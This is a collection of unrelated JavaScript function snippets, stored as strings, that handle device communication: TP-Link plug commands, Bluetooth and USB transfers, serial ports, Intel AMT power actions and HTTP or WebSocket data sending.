processDeviceCommand(request, response) {\r\n\tvar command = request.headers[\"tplink-command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command\r\n\tconsole.log(respMsg)\r\n\tvar action = request.headers[\"action\"]\r\n\tresponse.setHeader(\"action\", action)\r\n\tvar socket = net.connect(9999, deviceIP)\r\n\tsocket.setKeepAlive(false)\r\n\tsocket.setTimeout(6000)\r\n\tsocket.on('connect', () => {\r\n\t\tsocket.write(TcpEncrypt(command))\r\n\t})\r\n\tsocket.on('data', (data) => {\r\n\t\tsocket.end()\r\n\t\tdata = decrypt(data.slice(4)).toString('ascii')\r\n\t\tresponse.setHeader(\"cmd-response\", data)\r\n\t\tresponse.end()\r\n\t\tvar respMsg = \"Command Response sent to SmartThings\"\r\n\t\tconsole.log(respMsg)\r\n\t}).on('timeout', () => {\r\n\t\tresponse.setHeader(\"cmd-response\", \"TcpTimeout\")\r\n\t\tresponse.end()\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### TCP Timeout in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t}).on('error', (err) => {\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### Socket Error in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t})\r\n}","OLDsendFirmware(data) {\n console.log('[3] bleTransport: TODO sendFirmware(data)');\n console.log('[3] bleTransport: data =', data);\n return Promise.resolve();\n /*TODO\n this._emitInitializeEvent(ObjectType.DATA);\n return this.getFirmwareState(data)\n .then(state => {\n this._debug(`Sending firmware: ${state.toString()}`);\n const objects = state.remainingObjects;\n if (state.hasResumablePartialObject) {\n const object = state.remainingPartialObject;\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\n }\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\n });\n */\n }","sendSendSerialPortsMessageToServer() {\n var message = {};\n this.sendMessageToServer('sendSerialPorts', message);\n }","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","function arduinoTest() {\n return request;\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function sendData(blob) {\n\n\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\n\tfetch(\"/upload_sound\", {\n\tmethod: \"post\",\n\tbody: blob\n\t});\n}","function requestDevStatus() {\n if(mConnectedToDev) {\n return;\n }\n\n mNbReqStatusRetry++;\n if(mNbReqStatusRetry >= 6) {\n logger.warn('[ctrl-test] Request device status without response. Stop!');\n return;\n }\n\n devComm.sendStatusReportReq(SelectedGW);\n\n setTimeout(requestDevStatus, 5*1000);\n\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","function transmitAudioHexBytes(audioBlob) {\n\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\n\t\t\t\t\t\t\t\t\t\t\t// FileReader()\n\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\n\tvar binaryHexData = buildMessage(\"DATA\", \"\");\n\tvar view = new DataView(arrayBuffer);\n\tvar viewLen = view.byteLength;\n\tfor (var i = 0; i < viewLen; binaryHexData += (\"00\" + view.getUint8(i++)\n\t\t\t.toString(16)).substr(-2).toUpperCase())\n\t\t;\n\tconsole.log(\"socketSend@main \" + binaryHexData.length);\n\twsSnd.send(binaryHexData);\n}","function chromeAppMessageHandler(response) {\n console.debug(response);\n switch (response.responder) {\n case \"list\":\n const list_html = generateDropDownList(response.data);\n document.querySelector(\"#device-select\").innerHTML = list_html;\n document.querySelector(\"#device-select\").dispatchEvent(change_event);\n break;\n case \"connect\":\n device_connected = true;\n $(\"#connect\")\n .removeClass(\"btn-outline-success\")\n .addClass(\"btn-outline-danger\")\n .text(\"Disconnect\");\n document.querySelector(\"#baudrate\").setAttribute(\"disabled\", \"disabled\");\n document\n .querySelector(\"#device-select\")\n .setAttribute(\"disabled\", \"disabled\");\n break;\n case \"disconnect\":\n // TODO(kammce): Actually evaluate that the device has connected properly\n device_connected = false;\n table_init = false;\n telemetry_raw = \"\\r\\n\";\n $(\"#connect\")\n .addClass(\"btn-outline-success\")\n .removeClass(\"btn-outline-danger\")\n .text(\"Connect\");\n document.querySelector(\"#baudrate\").removeAttribute(\"disabled\");\n document.querySelector(\"#device-select\").removeAttribute(\"disabled\");\n $(\"#refresh\").click();\n break;\n case \"update\":\n break;\n case \"read\":\n term.write(response.data.replace(/\\n/g, \"\\r\\n\"));\n break;\n default:\n console.warn(\"Unknown response\");\n break;\n }\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","sendFormatDataResponsePDU() {\n\n const bufs = Buffer.from(this.content + '\\x00', 'ucs2');\n\n this.send(new type.Component({\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\n msgFlags: new type.UInt16Le(0x01),\n dataLen: new type.UInt32Le(bufs.length),\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\n }));\n\n }","function HandleData(data)\n{\n var avrNum = this.avrNum;\n if (avrNum == null) {\n Log('Data from unknown device!');\n return;\n }\n var str = data.toString();\n // wait for null at end of string\n var j = str.indexOf('\\0');\n if (j > -1) str = str.substr(0, j); // remove null\n // process each response separately\n var lines = str.split(\"\\n\");\n var id;\n for (j=0; j= 4 && str.substr(1,1) == '.') {\n id = str.substr(0,1);\n str = str.substr(2);\n }\n if (id != 'e') {\n if (str.substr(0,2) != 'OK') {\n Log('AVR'+avrNum, 'Bad response:', str);\n continue;\n }\n str = str.substr(3);\n }\n // ignore truncated responses (may happen at startup if commands\n // were sent before AVR was fully initialized)\n if (!id) continue;\n avrOK[avrNum] = 1;\n avrNum = HandleResponse(avrNum, id, str);\n }\n}","function appxsendfilehandler(x) {\r\n if (appxIsLocalReady()) {\r\n switch (x.messagepart) {\r\n case -1:\r\n var msgfilenamedata = [];\r\n var filepath = appx_session.currsendfile.filename;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Saving File...\");\r\n appx_session.currsendfile.filedata = [];\r\n setTimeout(function setTimeout1() {\r\n //send client file path length\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: hton32(filepath.length),\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client file path\r\n for (var vi = 0; vi < filepath.length; vi++) {\r\n msgfilenamedata.push(filepath.charCodeAt(vi));\r\n }\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: msgfilenamedata,\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client status EOF\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [3, 1],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Download Complete...\");\r\n setTimeout(function setTimeout2() {\r\n if ($(\"#appx-status-msg\").html() === \"File Download Complete...\") {\r\n appxClearStatusMsgText();\r\n }\r\n }, 1000);\r\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\r\n\r\n break;\r\n case 3:\r\n appx_session.currsendfile.filename = x.data.filename;\r\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\r\n appx_session.currsendfile.filedatareceived = 0;\r\n appx_session.currsendfile.blocksreceived = 0;\r\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\r\n if (appx_session.currsendfile.filename.indexOf(\"$(\") > -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\r\n }\r\n else {\r\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\r\n }\r\n if (appx_session.currsendfile.filename.indexOf(\"/\") == -1 && appx_session.currsendfile.filename.indexOf(\"\\\\\") == -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(\"$(userHome)\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\r\n }\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Creating File: \" + appx_session.currsendfile.filename);\r\n appx_session.currsendfile.filecreated = false;\r\n CreateFile(appx_session.currsendfile);\r\n break;\r\n case 5:\r\n appx_session.currsendfile.blocksreceived += 1;\r\n appx_session.currsendfile.filedatareceived += x.data.length;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Downloading... Received: \" + appx_session.currsendfile.filedatareceived + \" Bytes of \" + appx_session.currsendfile.datalengthneeded.toString() + \" Needed\");\r\n AppendFile(x.data);\r\n break;\r\n\r\n default:\r\n //append data to file via local connector\r\n break;\r\n }\r\n }\r\n else {\r\n //send client status EOF\r\n if (x.messagepart != -1) {\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [0, 0],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n }\r\n }\r\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function performPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\n // This will wake the device from \"Modern Standby\".\n if ((action == 2) && (dev.aquired.majorver > 9)) {\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\n }\n }","async function sendPicture() {\n const req = {\n imagebytes: bas64,\n }\n alert('Enviado com sucesso');\n }","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","function transferByte(b) {\n\treturn new Promise((resolve, reject) => {\n\t\tlet txBuff = new Buffer([reverseByte(b)]);\n\t\tlet rxBuff = new Buffer(1);\n\t\tRPIO.spiTransfer(txBuff, rxBuff, 1);\n resolve(reverseByte(rxBuff[0]));\n\t});\n}","function fx000(res) {\n global.clog(\"[ss_reqHan][fx000][SENT]\");\n res.writeHead(200, { \"Content-Type\": \"audio/wav\" }); \n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\n res.write(sendingfile);\n res.end();\n}","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","inbound(count, obj) {\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\n const p = Promise.resolve(handler[obj.type](obj));\n p.then(\n res => D(commandDevice).sendResponse(count, false, harden(res)),\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\n );\n }","function send_button_state(hex_state) {\n $.ajax({\n url: \"webpower/set/\" + hex_state,\n success: function() {\n console.log(\"sent: \" + hex_state)\n },\n });\n }","actuateBell(req, res) {\n const keyValuePairs = req.body.split('|') || [''];\n const command = getUltralightCommand(keyValuePairs[0]);\n const deviceId = 'bell' + req.params.id;\n const result = keyValuePairs[0] + '| ' + command;\n\n if (IoTDevices.notFound(deviceId)) {\n return res.status(404).send(result + NOT_OK);\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\n return res.status(422).send(result + NOT_OK);\n }\n\n // Update device state\n IoTDevices.actuateDevice(deviceId, command);\n return res.status(200).send(result + OK);\n }","send(msg) {\n if (this.connectionId < 0) {\n throw 'Invalid connection';\n }\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\n });\n }","function sendPost(data, callback) {\nvar options = {\n host: 'ws.audioscrobbler.com',\n path: '/2.0/',\n method: 'POST',\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': data.length\n }\n }\n , doPOST = http.request(options, function(request) {\n var reqReturn = ''\n request.setEncoding('utf8')\n request.on('data', function(chunk) {\n reqReturn += chunk\n })\n request.on('end', function() {\n // console.log('[POST RESPONSE] : ' + reqReturn)\n if (typeof(callback) == 'function')\n callback(reqReturn)\n })\n }).on('error', function(err) {\n // TODO\n })\ndoPOST.write(data)\ndoPOST.end()\n}","function sendPostResponse() {\n\t\t\t\t\t\n\t\t\t\t\tvar delaySend = false;\n\t\t\t\t\t// build appropriate response\n\t\t\t\t\tswitch(command) {\n\t\t\t\t\t\tcase 'end':\n\t\t\t\t\t\tcase 'continue':\n\t\t\t\t\t\t\tutils.info('server : Building \"continue\" response');\n\t\t\t\t\t\tcase 'start':\n\t\t\t\t\t\t\tmessage = {Op:'ok', id:deviceId};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'device_ready':\n\t\t\t\t\t\t\tutils.info('server : Building \"device_ready\" response:');\n\t\t\t\t\t\t\tvar task = device.taskGroup.getNextTest();\n\t\t\t\t\t\t\tif(task) {\n\t\t\t\t\t\t\t\tutils.info('\\tSending next task: ' + task);\n\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:task};\n\t\t\t\t\t\t\t} else { // no more tasks, report\n\n\t\t\t\t\t\t\t\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\n\t\t\t\t\t\t\t\tif(!clientConnection.isTestDone) {\n\t\t\t\t\t\t\t\t\tutils.info('server : setting istestdone to true');\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = true;\n\t\t\t\t\t\t\t\t\tclientConnection.reporter.createReport();\n\t\t\t\t\t\t\t\t\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\n\t\t\t\t\t\t\t\t\t\tutils.info('\\tSending EndGame');\n\t\t\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tutils.info('is the next test ready?',\n\t\t\t\t\t\t\t\t clientConnection.isNextTestReady);\n\t\t\t\t\t\t\t\tif(clientConnection.isNextTestReady) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = false;\n\t\t\t\t\t\t\t\t\tclientConnection.isNextTestReady = false;\n\t\t\t\t\t\t\t\t\tdevice.taskGroup.restart();\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tutils.info('\\tNo more tasks.');\n\t\t\t\t\t\t\t\t\tmessage = {Op:'nada'};\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'sdk_social_test_start':\n\t\t\t\t\t\t\tutils.info('Adding US Social test set');\n\t\t\t\t\t\t\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'social_test_start':\n\t\t\t\t\t\t\tutils.info('setting tests to social_test_start');\n\t\t\t\t\t\t\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'task_finished':\n\t\t\t\t\t\tcase 'log_start':\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'log_end':\n\t\t\t\t\t\t\t// hold off on sending response if previous messages\n\t\t\t\t\t\t\t// have yet to be received\n\t\t\t\t\t\t\tif(clientConnection.isLogFinished()) {\n\t\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// if previous message never gets resent, we need to send\n\t\t\t\t\t\t\t\t// the response after a timeout\n\t\t\t\t\t\t\t\tif(delaySend === false) {\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\t\t\t\tif(clientConnection.isDelayedResponseSet() === true) {\n\t\t\t\t\t\t\t\t\t\t\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.flush();\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.sendDelayedResponse();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}, 120000);\n\t\t\t\t\t\t\t\t\tdelaySend = true;\n\t\t\t\t\t\t\t\t\tclientConnection.setDelayedResponse(response);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tmessage = '';\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\tif(!delaySend) {\n\t\t\t\t\t\tsendResponse(200, message);\n\t\t\t\t\t}\n\n\t\t\t\t}","function transmit(fullBuffer) {\n\twsSnd.send(\"\" + fullBuffer.length + \" \");\n\tvar siz = 2048;\n\tvar idx, tmpBuf;\n\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\n\t\ttmpBuf = fullBuffer.slice(idx, idx + siz);\n\t\twsSnd.send(tmpBuf);\n\t}\n\tif (idx != fullBuffer.length) {\n\t\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\n\t\twsSnd.send(tmpBuf);\n\t}\n\twsSnd.send(\" \");\n\tconsole.log(\"TRANSMIT START\");\n}","function btn_OnTouch() {\n bt.Connect(\"SerialBT\");\n}","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","function systemCommandResponseCallback(error, stdout, stderr)\n {\n var responseString =\n 'stdout: ' + pipeToString(stdout)\n + 'stderr: ' + pipeToString(stderr)\n + 'error: ' + error;\n\n \t// Write the response and close the request\n\t\tserverResponse.writeHead(200, { \"Content-Type\": \"text/plain\" });\n\t\tserverResponse.end(\"RPi RESPONSE:\\n\" + responseString);\n serverResponse.end();\n }","async postAPI(url, values) {\n\t\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\n\t\ttry {\n\t\t\tconst result = axios.post(url, values)\n\t\t\t\t.then((response) => {\n\t\t\t\t\treturn response.data;\n\t\t\t\t})\n\t\t\t\t.catch((error) => {\n\t\t\t\t\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\n\t\t\t\t\treturn error;\n\t\t\t\t});\n\t\t\treturn result;\n\t\t} catch (error) {\n\t\t\tthis.log.error(error);\n\t\t}\n\t}","function onRequest(request, response){\r\n\tvar command = request.headers[\"command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar cmdRcvd = \"\\n\\r\" + new Date() + \"\\r\\nIP: \" + deviceIP + \" sent command \" + command\r\n\tconsole.log(\" \")\r\n\tconsole.log(cmdRcvd)\r\n\tswitch(command) {\r\n\t\t//---- (BridgeDH - Poll for Server APP ------------------\r\n\t\tcase \"pollServer\":\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"ok\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"Server Poll response sent to SmartThings\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\tbreak\r\n\r\n\t\t//---- TP-Link Device Command ---------------------------\r\n\t\tcase \"deviceCommand\":\r\n\t\t\t//----- Simulated power data Selection ----------------------\r\n\t\t\tvar command = request.headers[\"tplink-command\"]\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tif (action == \"onWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", onWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else if (action == \"offWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", offWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else {\r\n\t\t\t//----- Real data ----------------------\r\n\t\t\t\tprocessDeviceCommand(request, response)\r\n\t\t\t}\r\n\t\t\tbreak\r\n\t\r\n\t\t//---- Energy Meter Simulated Data Return ---------------\r\n\t\tcase \"emeterCmd\":\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tvar engrCmd = action.substring(0,3)\r\nconsole.log(\"engrCmd = \" + engrCmd)\r\n\t\t\tvar engrData = action.substring(3)\r\nconsole.log(\"engrData = \" + engrData)\r\n\t\t\tif (engrCmd == \"Con\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"useTodayResponse\")\r\n\t\t\t} else {\r\n\t\t\t\tresponse.setHeader(\"action\", \"engrStatsResponse\")\r\n\t\t\t}\r\n\t\t\tvar respData = \"\"\r\n\t\t\tswitch(engrData) {\r\n\t\t\t\tcase \"DecWatts\":\r\n\t\t\t\t\trespData = DecWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"DecMWatts\":\r\n\t\t\t\t\trespData = DecMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanWatts\":\r\n\t\t\t\t\trespData = JanWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanMWatts\":\r\n\t\t\t\t\trespData = JanMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebWatts\":\r\n\t\t\t\t\trespData = FebWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebMWatts\":\r\n\t\t\t\t\trespData = FebMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarWatts\":\r\n\t\t\t\t\trespData = MarWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarMWatts\":\r\n\t\t\t\t\trespData = MarMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1Watts\":\r\n\t\t\t\t\trespData = Day1Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1MWatts\":\r\n\t\t\t\t\trespData = Day1MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2Watts\":\r\n\t\t\t\t\trespData = Day2Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2MWatts\":\r\n\t\t\t\t\trespData = Day2MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3Watts\":\r\n\t\t\t\t\trespData = Day3Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3MWatts\":\r\n\t\t\t\t\trespData = Day3MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tdefault:\r\n\t\t\t\t\tbreak\r\n\t\t\t}\r\nconsole.log(respData)\r\n\t\t\tresponse.setHeader(\"cmd-response\", respData)\r\n\t\t\tresponse.end()\r\n\t\t\tbreak\r\n\t\tdefault:\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"InvalidHubCmd\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"#### Invalid Command ####\"\r\n\t\t\tvar respMsg = new Date() + \"\\n\\r#### Invalid Command from IP\" + deviceIP + \" ####\\n\\r\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\t\tlogResponse(respMsg)\r\n\t}\r\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function performAdvancedPowerActionResponse(stack, name, responses, status) {\n 